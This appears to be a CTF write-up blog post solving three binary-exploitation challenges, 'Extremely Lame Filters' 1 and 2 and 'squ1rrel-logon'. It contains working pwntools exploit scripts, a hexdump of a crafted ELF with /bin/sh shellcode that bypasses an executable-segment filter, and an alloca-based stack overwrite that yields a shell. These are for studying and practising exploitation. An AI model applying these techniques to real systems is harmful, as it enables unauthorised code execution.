- Extremely Lame Filters 1
- Extremely Lame Filters 2
- squ1rrel-logon
If you want to get binary or bytes of ELF probs, DM me(Discord : guardianch)
Extremely Lame Filters 1
elf.py
analyze input ELF file.
#!/usr/bin/python3
from elf import *
from base64 import b64decode
data = b64decode(input("I'm a little fairy and I will trust any ELF that comes by!!"))
elf = parse(data)
for section in elf.sections:
if section.sh_flags & SectionFlags.EXECINSTR:
raise ValidationException("!!")
elf.run()
fairy.py
check sections flag of input file. If there is EXECINSTR flag in sh_flags
, program turns off. However, sh_flags
doesn't affect execution of the program, so just remove every EXECINSTR flag. funny trick lol. If section's flag is 06
, change it to 02
. After manipulating, send it to server.
exploit
from pwn import *
import base64
p = remote('20.84.72.194', '5002')
#p = process(['python3', 'fairy.py'])
dt = base64.b64encode(open('./ex_nofilter', 'rb').read())
p.sendlineafter(b'!!', dt)
p.interactive()
Extremely Lame Filters 2
elf.py
is same as last prob.
#!/usr/bin/python3
from elf import *
from base64 import b64decode
data = b64decode(input("I'm a little fairy and I will trust any ELF that comes by!! (almost any)"))
elf = parse(data)
if elf.header.e_type != constants.ET_EXEC:
print("!!")
exit(1)
for segment in elf.segments:
if segment.p_flags & SegmentFlags.X:
content = elf.content(segment)
for byte in content:
if byte != 0:
print(">:(")
exit(1)
elf.run()
e_type
should be ET_EXEC
. It means elf must not have any linking. It is resolved by write shellcode and compile it. Second, it check segment's p_flags
. p_flags
affect program execution, so we can't use method used to solve Extremely Lame Filters 1
. We need to know new trick haha.
First, load the bytes with RW permission, and load same position with RWX permission, but very small length. In this case, because the program data is allocated in units of one page, the permission of that page changes to RWX. However, it check only a little bytes. It's easy to say, but there's actually more to care about.
00000000: 7f45 4c46 0201 0103 0000 0000 0000 0000 .ELF............
00000010: 0200 3e00 0100 0000 e800 0100 0000 0000 ..>.............
00000020: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000030: 0000 0000 4000 3800 0400 4000 0000 0000 ....@.8...@.....
00000040: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000050: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000060: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000070: 0100 0000 0600 0000 0800 0000 0000 0000 ................
00000080: 0800 0100 0000 0000 0800 0100 0000 0000 ................
00000090: f500 0000 0000 0000 f500 0000 0000 0000 ................
000000a0: 0000 0000 0000 0000 0100 0000 0700 0000 ................
000000b0: 0800 0000 0000 0000 0800 0100 0000 0000 ................
000000c0: 0800 0100 0000 0000 0800 0000 0000 0000 ................
000000d0: 0800 0000 0000 0000 0002 0000 0000 0000 ................
000000e0: 2f62 696e 2f73 6800 bf01 0102 0181 f7e1 /bin/sh.........
000000f0: 0103 0131 d231 f66a 3b58 0f05 ...1.1.j;X..
Program Headers:
Type Offset VirtAddr PhysAddr
FileSiz MemSiz Flags Align
<unknown>: 464 0x0000000000000000 0x00000001003e0002 0x00000000000100e8
0x0000000000000000 0x0000000000000000 W 0x38004000000000
<unknown>: 400 0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0
LOAD 0x0000000000000008 0x0000000000010008 0x0000000000010008
0x00000000000000f5 0x00000000000000f5 RW 0x0
LOAD 0x0000000000000008 0x0000000000010008 0x0000000000010008
0x0000000000000008 0x0000000000000008 RWE 0x200
This is my binary. I set Number of program headers
to 4, and Start of program headers
to 0. Therefore program headers 1, 2 is abnormal. Program header 3 which has RW permission load bytes located in 0x8 to 0xfb(end of file), and Set VirtualAddress
to 0x10008. Program header 4 which has RWX permission load only 8 bytes into the same position. Since bytes located in 0x08 to 0x0f is \x00
, it can pass the check, and change permission to RWX. my shellcode starts at 0xe8, so set Entry point address
to 0x100e8
. Now it works!
exploit
from pwn import *
import base64
p = remote('20.84.72.194', '5003')
#p = process(['python3', 'fairy.py'])
dt = base64.b64encode(open('./ex4', 'rb').read())
p.sendlineafter(b')', dt)
p.interactive()
squ1rrel-logon
[*] '/mnt/d/squ1rrel/squ1rrel-logon/terminal'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x3fe000)
Stripped: No
Partial RELRO, No canary, No PIE. But Nevermind. I don't use these.
int __fastcall main(int argc, const char **argv, const char **envp)
{
setbuf(stdout, 0LL);
setbuf(stdin, 0LL);
print_banner();
pthread_create(&userinfo_thread, 0LL, userinfo, 0LL);
pthread_create(&auth_thread, 0LL, auth, 0LL);
pthread_join(auth_thread, 0LL);
return 0;
}
It use two threads.
void *__fastcall auth(void *a1)
{
char s1[256]; // [rsp+10h] [rbp-210h] BYREF
char buf[264]; // [rsp+110h] [rbp-110h] BYREF
int v4; // [rsp+218h] [rbp-8h]
int fd; // [rsp+21Ch] [rbp-4h]
fd = open("flag.txt", 0);
if ( fd < 0 )
{
puts("Error initializing authentication. Please contact support if on remote.");
exit(1);
}
v4 = read(fd, buf, 0x100uLL);
buf[v4 - 1] = 0;
close(fd);
pthread_join(userinfo_thread, 0LL);
printf("\x1B[1;36m[SYSTEM] Enter security token: \x1B[0m");
readline(s1, 0x100uLL);
if ( !strcmp(s1, buf) )
{
puts("\x1B[1;32m[ACCESS GRANTED] Welcome to the system\x1B[0m");
system("/bin/sh");
}
else
{
puts("\x1B[1;31m[ACCESS DENIED] Invalid security token\x1B[0m");
puts("\x1B[1;31m[SYSTEM] Session terminated\x1B[0m");
}
return 0LL;
}
auth
read flag.txt
content and write in stack. Then userinfo_thread
operate mainly.
void *__fastcall userinfo(void *a1)
{
void *v1; // rsp
void *v2; // rsp
_QWORD v4[2]; // [rsp+0h] [rbp-30h] BYREF
unsigned __int64 v5; // [rsp+10h] [rbp-20h] BYREF
unsigned __int64 v6; // [rsp+18h] [rbp-18h] BYREF
char *v7; // [rsp+20h] [rbp-10h]
char *v8; // [rsp+28h] [rbp-8h]
v4[1] = a1;
puts("\x1B[1;36m[AUTH] User identification required\x1B[0m");
printf("First Name Length: ");
__isoc99_scanf("%ld%*c", &v6);
printf("Surname Length: ");
__isoc99_scanf("%ld%*c", &v5);
if ( v6 > 0x100000000LL || v5 > 0x100000000LL )
{
puts("Too long for our systems.");
exit(1);
}
v1 = alloca(16 * ((v6 + 23) / 0x10));
v8 = (char *)v4;
v2 = alloca(16 * ((v5 + 23) / 0x10));
v7 = (char *)v4;
printf("First Name: ");
readline(v8, v6);
printf("Surname: ");
readline(v7, v5);
printf("Authenticating Employee %s %s\n", v8, v7);
return 0LL;
}
alloca
function is like malloc
, but it use stack space. And don't you think that the name length limit of 0x100000000 is too long? If we input big number, It allocates the stack where flag.txt
is stored. So we can modulate the value of that stack position. After userinfo
end, it get user input and compare with the value of that stack position. We know what we need to input, right? If you want to offset(big num described above), see exploit code.
exploit
from pwn import *
a = (0x7ffff7da6ec0 - 0x7ffff75a5db0 - 0x40)
print(a)
print(1000)
#p = process('./terminal')
p = remote('20.84.72.194', 5005)
p.sendline(str(a).encode() + b'\n')
p.sendline(b'1000\n')
p.sendline(b'csh\n')
p.sendline(b'a\n')
p.sendline(b'csh\n')
p.interactive()
'CTF > upsolving' 카테고리의 다른 글
2025 yisf final upsolving (3) | 2025.08.20 |
---|---|
2025 codegate CTF final upsolving (0) | 2025.07.22 |
2024 Wargames.MY CTF upsolving (0) | 2024.12.30 |